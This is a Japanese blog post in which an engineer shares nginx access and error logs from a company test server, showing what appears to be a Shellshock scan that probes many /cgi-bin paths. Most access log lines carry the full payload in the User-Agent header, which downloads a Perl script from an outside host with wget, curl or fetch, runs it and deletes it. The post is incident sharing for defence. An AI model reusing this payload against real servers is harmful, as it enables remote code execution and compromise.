ドイツからハッキングされたのでログをさらしてみる

弊社のテスト環境にてログを見ていたら、
明らかにハッキングを狙ったログを発見したので、さらしてみる。
ICMPポートをAnywahreで空けた直後からだったので、
みなさん、ICMPポートは軽々しく開けないようにしましょう。

今はHTTPとHTTPSもMYIPのみに制限している。

# サーバログ

```shell-session:/var/log/nginx/access.log
66.240.192.138 - - [09/Mar/2015:08:39:59 +0000] "GET / HTTP/1.1" 200 612 "-" "-" "-"
66.240.192.138 - - [09/Mar/2015:08:39:59 +0000] "GET /robots.txt HTTP/1.1" 404 168 "-" "-" "-"
62.75.222.235 - - [09/Mar/2015:10:24:03 +0000] "GET HTTP/1.1 HTTP/1.1" 400 172 "-" "-" "-"
62.75.222.235 - - [09/Mar/2015:10:24:33 +0000] "GET /cgi-bin/register.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:24:46 +0000] "GET /cgi-bin/about_us.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:24:50 +0000] "GET /cgi-bin/calendar.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:24:50 +0000] "GET /cgi-bin/download.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:12 +0000] "GET /cgi-bin/counter.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:15 +0000] "GET /cgi-bin/backup.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:16 +0000] "GET /cgi-bin/firewall.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:17 +0000] "GET /cgi-bin/index.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:18 +0000] "GET /cgi-bin/index2.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:19 +0000] "GET /cgi-bin/reboot.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:19 +0000] "GET /cgi-bin/printenv HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:20 +0000] "GET /cgi-bin/test-cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:20 +0000] "GET /cgi-bin/formmail.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:21 +0000] "GET /cgi-bin/Count.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:21 +0000] "GET /cgi-bin/supply.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:22 +0000] "GET /cgi-bin/test.sh HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:22 +0000] "GET /cgi-bin/upload.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:23 +0000] "GET /cgi-bin/welcome.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:24 +0000] "GET /cgi-bin/status.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:24 +0000] "GET /cgi-bin/uptime.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:25 +0000] "GET /cgi-bin/test HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:25 +0000] "GET /cgi-bin/contact.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:26 +0000] "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:26 +0000] "GET /cgi-bin/forum.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:27 +0000] "GET /cgi-bin/hello.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:28 +0000] "GET /cgi-bin/php HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:28 +0000] "GET /cgi-bin/php4 HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:35 +0000] "GET /cgi-bin/php5 HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:35 +0000] "GET /cgi-sys/php5 HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:35 +0000] "GET /cgi-bin/php5-cli HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:35 +0000] "GET /phppath/cgi_wrapper HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:35 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:35 +0000] "GET /phppath/php HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"
62.75.222.235 - - [09/Mar/2015:10:25:36 +0000] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\x22);'" "-"

```

```shell-session:/var/log/nginx/error.log
2015/03/09 08:39:59 [error] 26548#0: *5 open() "/usr/share/nginx/html/robots.txt" failed (2: No such file or directory), client: 66.240.192.138, server: localhost, request: "GET /robots.txt HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:24:28 [error] 26548#0: *7 open() "/usr/share/nginx/html/cgi-bin/register.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/register.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:24:41 [error] 26548#0: *8 open() "/usr/share/nginx/html/cgi-bin/about_us.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/about_us.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:24:45 [error] 26548#0: *9 open() "/usr/share/nginx/html/cgi-bin/calendar.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/calendar.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:24:45 [error] 26548#0: *10 open() "/usr/share/nginx/html/cgi-bin/download.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/download.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:07 [error] 26548#0: *11 open() "/usr/share/nginx/html/cgi-bin/counter.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/counter.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:10 [error] 26548#0: *12 open() "/usr/share/nginx/html/cgi-bin/backup.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/backup.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:11 [error] 26548#0: *13 open() "/usr/share/nginx/html/cgi-bin/firewall.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/firewall.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:12 [error] 26548#0: *14 open() "/usr/share/nginx/html/cgi-bin/index.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/index.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:13 [error] 26548#0: *15 open() "/usr/share/nginx/html/cgi-bin/index2.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/index2.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:14 [error] 26548#0: *16 open() "/usr/share/nginx/html/cgi-bin/reboot.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/reboot.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:14 [error] 26548#0: *17 open() "/usr/share/nginx/html/cgi-bin/printenv" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/printenv HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:15 [error] 26548#0: *18 open() "/usr/share/nginx/html/cgi-bin/test-cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/test-cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:15 [error] 26548#0: *19 open() "/usr/share/nginx/html/cgi-bin/formmail.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/formmail.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:16 [error] 26548#0: *20 open() "/usr/share/nginx/html/cgi-bin/Count.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/Count.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:16 [error] 26548#0: *21 open() "/usr/share/nginx/html/cgi-bin/supply.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/supply.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:17 [error] 26548#0: *22 open() "/usr/share/nginx/html/cgi-bin/test.sh" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/test.sh HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:17 [error] 26548#0: *23 open() "/usr/share/nginx/html/cgi-bin/upload.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/upload.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:18 [error] 26548#0: *24 open() "/usr/share/nginx/html/cgi-bin/welcome.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/welcome.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:19 [error] 26548#0: *25 open() "/usr/share/nginx/html/cgi-bin/status.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/status.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:19 [error] 26548#0: *26 open() "/usr/share/nginx/html/cgi-bin/uptime.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/uptime.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:20 [error] 26548#0: *27 open() "/usr/share/nginx/html/cgi-bin/test" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/test HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:20 [error] 26548#0: *28 open() "/usr/share/nginx/html/cgi-bin/contact.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/contact.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:21 [error] 26548#0: *29 open() "/usr/share/nginx/html/cgi-bin/defaultwebpage.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:21 [error] 26548#0: *30 open() "/usr/share/nginx/html/cgi-bin/forum.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/forum.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:22 [error] 26548#0: *31 open() "/usr/share/nginx/html/cgi-bin/hello.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/hello.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:23 [error] 26548#0: *32 open() "/usr/share/nginx/html/cgi-bin/php" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/php HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:23 [error] 26548#0: *33 open() "/usr/share/nginx/html/cgi-bin/php4" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/php4 HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:31 [error] 26548#0: *34 open() "/usr/share/nginx/html/cgi-bin/php5" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/php5 HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:31 [error] 26548#0: *35 open() "/usr/share/nginx/html/cgi-bin/php5-cli" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-bin/php5-cli HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:32 [error] 26548#0: *36 open() "/usr/share/nginx/html/cgi-sys/defaultwebpage.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:33 [error] 26548#0: *37 open() "/usr/share/nginx/html/cgi-sys/entropysearch.cgi" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-sys/entropysearch.cgi HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:33 [error] 26548#0: *38 open() "/usr/share/nginx/html/cgi-sys/php5" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /cgi-sys/php5 HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:34 [error] 26548#0: *39 open() "/usr/share/nginx/html/phppath/cgi_wrapper" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /phppath/cgi_wrapper HTTP/1.1", host: "54.65.180.61"
2015/03/09 10:25:34 [error] 26548#0: *40 open() "/usr/share/nginx/html/phppath/php" failed (2: No such file or directory), client: 62.75.222.235, server: localhost, request: "GET /phppath/php HTTP/1.1", host: "54.65.180.61"
```

怪しいのはこの2つのIPセットアップしたてだったので、私のIP以外はこの2つのIPしかない。
http://whois.ansi.co.jp/62.75.222.235
http://whois.ansi.co.jp/66.240.192.138

66.240.192.138がアクセス元でブラウザで下調べを行った後、
62.75.222.235IPに変えてアタックしてきているように見える。

66.240.192.138はここの事らしい。

http://www.yelp.com/biz/carinet-san-diego-3
http://www.iputilities.net/